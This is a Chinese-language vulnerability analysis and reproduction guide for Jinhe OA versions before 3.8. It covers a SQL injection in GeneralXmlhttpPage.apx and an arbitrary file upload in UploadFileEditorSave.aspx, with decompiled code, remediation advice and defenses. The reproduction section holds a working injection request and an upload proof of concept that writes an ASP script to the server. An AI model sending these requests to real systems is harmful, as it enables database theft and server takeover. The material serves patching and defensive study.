金和oaGeneralXmlhttpPage.apx SQL注入漏洞和UploadFileEditorSave.aspx任意文件上传漏洞分析
字数 1180 2025-08-22 22:47:30

金和OA系统漏洞分析与复现指南

1. 产品概述

金和OA系统是由金和网络开发的企业协同办公平台,主要功能包括:

  • 组织协同OA系统开发平台
  • 电子政务一体化平台
  • 智慧电商平台
  • 为城市监管部门提供互联网+监管解决方案

2. 漏洞概述

2.1 SQL注入漏洞

  • 漏洞位置GeneralXmlhttpPage.apx中的CheckAppraiseState()方法
  • 影响版本:v3.8之前
  • 危害:获取数据库敏感信息(如管理员密码、用户信息),高权限下可写入木马获取服务器权限

2.2 任意文件上传漏洞

  • 漏洞位置UploadFileEditorSave.aspx
  • 影响版本:v3.8之前
  • 危害:上传恶意后门文件获取服务器权限

3. 漏洞分析

3.1 SQL注入漏洞分析

漏洞代码位置

JHSoft.Web.Appraise.dll → JHSoft.Web.Appraise → GeneralXmlhttpPage → CheckAppraiseState()方法

关键代码分析

public string CheckAppraiseState()
{
    string arg = string.Empty;
    if (base.Request.QueryString["id"] != null)
    {
        arg = base.Request.QueryString["id"].ToString();
    }
    
    string queryString = string.Format("select AppraiseOverFlag from appraise where AppraiseID = '{0}'", arg);
    DataTable dataTable = this.db.ExecSQLReDataTable(queryString);
    
    // ...后续处理逻辑...
}

漏洞原理

  1. 直接从请求参数中获取id值,未做任何过滤
  2. 使用string.Format直接拼接SQL语句
  3. 执行拼接后的SQL语句,导致注入风险

修复建议

  • 使用参数化查询
  • 对输入参数进行严格过滤和验证

3.2 任意文件上传漏洞分析

漏洞代码位置

JHSoft.Web.CustomQuery.dll → JHSoft.Web.CustomQuery → UploadFileEditorSave

关键代码分析

protected void Page_Load(object sender, EventArgs e)
{
    string text = base.Request["filename"].ToString();
    string text2 = Upload.MapFilePath(text);
    
    if (text.ToLower().IndexOf("slaves") == -1)
    {
        if (File.Exists(text2))
        {
            File.Delete(text2);
        }
        Upload.NoAESRead(base.Request.Files[0].InputStream, ref text2);
    }
    else
    {
        text2 = text2.ToLower().Replace("\\temp\\", "\\slaves\\");
        if (File.Exists(text2))
        {
            File.Delete(text2);
        }
        Upload.AESRead(base.Request.Files[0].InputStream, ref text2);
    }
    this.Context.Response.End();
}

文件处理方法分析

// NoAESRead方法
public static void NoAESRead(Stream stream, ref string strFile)
{
    byte[] array = new byte[(int)stream.Length];
    stream.Read(array, 0, array.Length);
    stream.Close();
    
    FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
    fileStream.Write(array, 0, array.Length);
    fileStream.Close();
}

// AESRead方法
public static void AESRead(Stream stream, ref string strFile)
{
    byte[] array = new byte[(int)stream.Length];
    stream.Read(array, 0, array.Length);
    stream.Close();
    
    byte[] array2 = Upload.AESEncrypt(array);
    
    FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
    fileStream.Write(array2, 0, array2.Length);
    fileStream.Close();
}

漏洞原理

  1. 未对上传的文件名和内容进行任何过滤
  2. 允许用户控制上传路径(filename参数)
  3. 无论是否加密,都能上传任意文件

修复建议

  • 限制上传文件类型
  • 对上传文件名进行严格过滤
  • 使用固定路径保存上传文件
  • 增加文件内容检查机制

4. 漏洞复现

4.1 SQL注入漏洞复现

步骤

  1. 找到存在漏洞的接口:GeneralXmlhttpPage.apx
  2. 构造恶意请求,在id参数中注入SQL语句
  3. 观察返回结果

示例请求

GET /GeneralXmlhttpPage.apx?id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables WHERE table_schema='dbo' FOR XML PATH('')))-- HTTP/1.1
Host: target.com

4.2 任意文件上传漏洞复现

POC

POST /C6/Control/UploadFileEditorSave.aspx?filename=C6\ilra9c2tw2.asp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: multipart/form-data; boundary=----umvtqrw8etdtcatpd8vq

------umvtqrw8etdtcatpd8vq
Content-Disposition: form-data; name="file"; filename="ilra9c2tw2.jpg"
Content-Type: image/png

<%response.write(333*2)%>
------umvtqrw8etdtcatpd8vq--

验证
访问上传的ASP文件,如:http://target.com/C6/ilra9c2tw2.asp,应显示计算结果"666"。

5. 工具使用

5.1 dnSpy使用指南

  1. 打开dnSpy工具
  2. 导入目标DLL文件
  3. 导航到漏洞代码位置:
    • 使用左侧目录树导航
    • 或使用Ctrl+Shift+K全局搜索
  4. 分析关键方法

5.2 注意事项

  • 不要分析.ctor构造函数
  • 注意区分不同命名空间下的同名类
  • 关注关键方法如Page_Load、文件处理方法等

6. 防御措施

6.1 通用防御

  • 及时升级到最新版本(v3.8及以上)
  • 部署WAF防护
  • 限制服务器目录权限

6.2 SQL注入防御

  • 使用参数化查询
  • 实施最小权限原则
  • 输入验证和过滤

6.3 文件上传防御

  • 白名单验证文件扩展名
  • 重命名上传文件
  • 存储在非web可访问目录
  • 扫描上传文件内容

7. 总结

金和OA系统v3.8之前版本存在高危漏洞,攻击者可利用SQL注入获取敏感数据,通过文件上传漏洞获取服务器权限。建议用户及时升级并实施上述防御措施。

金和OA系统漏洞分析与复现指南 1. 产品概述 金和OA系统是由金和网络开发的企业协同办公平台,主要功能包括: 组织协同OA系统开发平台 电子政务一体化平台 智慧电商平台 为城市监管部门提供互联网+监管解决方案 2. 漏洞概述 2.1 SQL注入漏洞 漏洞位置 : GeneralXmlhttpPage.apx 中的 CheckAppraiseState() 方法 影响版本 :v3.8之前 危害 :获取数据库敏感信息(如管理员密码、用户信息),高权限下可写入木马获取服务器权限 2.2 任意文件上传漏洞 漏洞位置 : UploadFileEditorSave.aspx 影响版本 :v3.8之前 危害 :上传恶意后门文件获取服务器权限 3. 漏洞分析 3.1 SQL注入漏洞分析 漏洞代码位置 关键代码分析 漏洞原理 直接从请求参数中获取 id 值,未做任何过滤 使用 string.Format 直接拼接SQL语句 执行拼接后的SQL语句,导致注入风险 修复建议 使用参数化查询 对输入参数进行严格过滤和验证 3.2 任意文件上传漏洞分析 漏洞代码位置 关键代码分析 文件处理方法分析 漏洞原理 未对上传的文件名和内容进行任何过滤 允许用户控制上传路径( filename 参数) 无论是否加密,都能上传任意文件 修复建议 限制上传文件类型 对上传文件名进行严格过滤 使用固定路径保存上传文件 增加文件内容检查机制 4. 漏洞复现 4.1 SQL注入漏洞复现 步骤 : 找到存在漏洞的接口: GeneralXmlhttpPage.apx 构造恶意请求,在 id 参数中注入SQL语句 观察返回结果 示例请求 : 4.2 任意文件上传漏洞复现 POC : 验证 : 访问上传的ASP文件,如: http://target.com/C6/ilra9c2tw2.asp ,应显示计算结果"666"。 5. 工具使用 5.1 dnSpy使用指南 打开dnSpy工具 导入目标DLL文件 导航到漏洞代码位置: 使用左侧目录树导航 或使用Ctrl+Shift+K全局搜索 分析关键方法 5.2 注意事项 不要分析 .ctor 构造函数 注意区分不同命名空间下的同名类 关注关键方法如 Page_Load 、文件处理方法等 6. 防御措施 6.1 通用防御 及时升级到最新版本(v3.8及以上) 部署WAF防护 限制服务器目录权限 6.2 SQL注入防御 使用参数化查询 实施最小权限原则 输入验证和过滤 6.3 文件上传防御 白名单验证文件扩展名 重命名上传文件 存储在非web可访问目录 扫描上传文件内容 7. 总结 金和OA系统v3.8之前版本存在高危漏洞,攻击者可利用SQL注入获取敏感数据,通过文件上传漏洞获取服务器权限。建议用户及时升级并实施上述防御措施。